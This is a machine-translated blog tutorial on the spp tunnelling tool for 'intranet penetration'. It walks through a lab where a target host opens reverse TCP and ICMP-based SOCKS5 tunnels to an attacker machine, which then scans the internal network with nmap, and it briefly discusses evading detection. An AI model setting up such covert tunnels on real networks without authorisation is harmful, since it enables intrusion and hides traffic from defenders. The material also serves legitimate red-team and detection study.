イントラネット侵入シリーズ:イントラネットトンネルのspp

序文

このホワイトペーパーでは、マルチプロトコル双方向プロキシsppをサポートするツールについて説明します。

github:https ://github.com/esrrhs/spp

I.概要

1はじめに

2020年に新たにリリースされ、Tencentから継続的に更新され、Goで記述されています

  • サポートされているプロトコル:tcp、udp、rudp(reliable udp)、ricmp(reliable icmp)、rhttp(reliable http)、kcp、quic
  • サポートされているタイプ:フォワードプロキシ、リバースプロキシ、socks5フォワードプロキシ、socks5リバースプロキシ
  • プロトコルとタイプの組み合わせがサポートされています
  • すべてのプラットフォームをサポート

2.原則

ここに画像の説明を挿入

3.使用法

(1)サーバー

サーバーのIPがwww.server.comであり、ポート8888でリッスンしていると仮定して、サーバーを起動します。

./spp -type server -proto tcp -listen :8888

他のタイプのポートやプロトコルを同時に聞くこともできます

./spp -type server -proto tcp -listen :8888 -proto rudp -listen :9999 -proto ricmp -listen 0.0.0.0

Dockerを使用することもできます

docker run --name my-server -d --restart=always --network host esrrhs/spp ./spp -proto tcp -listen :8888

(2)クライアント

tcp転送プロキシを起動し、www.server.comの8080ポートをローカル8080にマップします。これにより、ローカル8080にアクセスすることは、www.server.comの8080にアクセスすることと同じになります。

./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp

tcpリバースプロキシを起動し、ローカル8080をwww.server.comの8080ポートにマップします。これにより、www.server.comの8080にアクセスすることは、ローカル8080にアクセスすることと同じになります。

./spp -name "test" -type reverse_proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp

tcp forward socks5プロキシを起動し、ローカルポート8080でsocks5プロトコルを開き、サーバーを介してサーバーが配置されているネットワークにアクセスします。

./spp -name "test" -type socks5_client -server www.server.com:8888 -fromaddr :8080 -proxyproto tcp

tcpリバースsocks5プロキシを起動し、www.server.comのポート8080でsocks5プロトコルを開き、クライアントを介してクライアントが配置されているネットワークにアクセスします。

./spp -name "test" -type reverse_socks5_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp

他のプロキシプロトコルの場合、たとえば、クライアントのproxyprotoパラメータを変更するだけで済みます。

# 代理udp
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto udp

# 代理rudp
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8081 -toaddr :8081 -proxyproto rudp

# 代理ricmp
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8082 -toaddr :8082 -proxyproto ricmp

# 同时代理上述三种
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto udp -fromaddr :8081 -toaddr :8081 -proxyproto rudp -fromaddr :8082 -toaddr :8082 -proxyproto ricmp

クライアントとサーバー間の内部通信も他のプロトコルに変更することができ、外部プロトコルと内部プロトコルは自動的に変換されます。例えば

# 代理tcp,内部用rudp协议转发
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp -proto rudp

# 代理tcp,内部用ricmp协议转发
./spp -name "test" -type proxy_client -server www.server.com -fromaddr :8080 -toaddr :8080 -proxyproto tcp -proto ricmp

# 代理udp,内部用tcp协议转发
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto udp -proto tcp

# 代理udp,内部用kcp协议转发
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto udp -proto kcp

# 代理tcp,内部用quic协议转发
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp -proto quic

# 代理tcp,内部用rhttp协议转发
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp -proto rhttp

Dockerを使用することもできます

docker run --name my-client -d --restart=always --network host esrrhs/spp ./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp

2.練習

1.テストシナリオ

攻撃者(サーバー):kali 192.168.10.128
ターゲット(クライアント):ubuntu 192.168.10.129

ターゲットマシンは攻撃側のマシンにpingを実行できます
ここに画像の説明を挿入

2.TCP逆接続

(1)サーバー

ポート8888、TCPプロトコルをリッスンします

./spp -type server -proto tcp -listen :8888 

ここに画像の説明を挿入

(2)クライアント

リバースプロキシ、TCPプロトコルを開始し、サーバーのポート2222をクライアントのポート80にマップします。つまり、サーバーが自身のポート2222にアクセスすることは、クライアントのポート80にアクセスすることと同じです。

./spp -name "test" -type reverse_proxy_client -server 192.168.10.128:8888 -fromaddr :2222 -toaddr :80 -proxyproto tcp

ここに画像の説明を挿入
ポート80でApacheを開いて確認できます

(3)トンネルの設置

サーバーはポート2222にアクセスし、クライアント側のポート80にマップして、Apacheインターフェイスを開きます。
ここに画像の説明を挿入

(4)パッケージを見てください

接続を確立し、ポート、ユーザー、およびパスワードを返します
ここに画像の説明を挿入
暗号化されたポート80を使用します
ここに画像の説明を挿入

3.ICMPSOCKS5プロキシ逆接続

(1)サーバー

./spp -type server -proto ricmp -listen 0.0.0.0

ここに画像の説明を挿入

(2)クライアント

./spp -name "test" -type reverse_socks5_client -server 192.168.10.128 -fromaddr :1080 -proxyproto tcp -proto ricmp

ここに画像の説明を挿入

(3)トンネルを設置する

プロキシチェーンを設定
ここに画像の説明を挿入
してからプロキシを介してnmapを実行
ここに画像の説明を挿入
ここに画像の説明を挿入
すると、次のログが出力されます

ここに画像の説明を挿入

(4)パッケージを見てください


ここに画像の説明を挿入
ハートビートパケット
ここに画像の説明を挿入
nmap中に接続、リターンポート、ユーザー、およびパスワードを確立します

ここに画像の説明を挿入

3.探索する

1.ソースコードと分析


深く研究できる非常に大きなgo-engineライブラリを維持しました

2.検出とバイパス

spp機能が完成しすぎているため、特定の機能を使用した場合のトラフィック特性に加えて、最終的な動作からさらに多くのことを考慮することができます。

エピローグ

sppは、統合されたオンラインツールを完成させるために大きな一歩を踏み出しました

おすすめ

転載: blog.csdn.net/weixin_44604541/article/details/119606359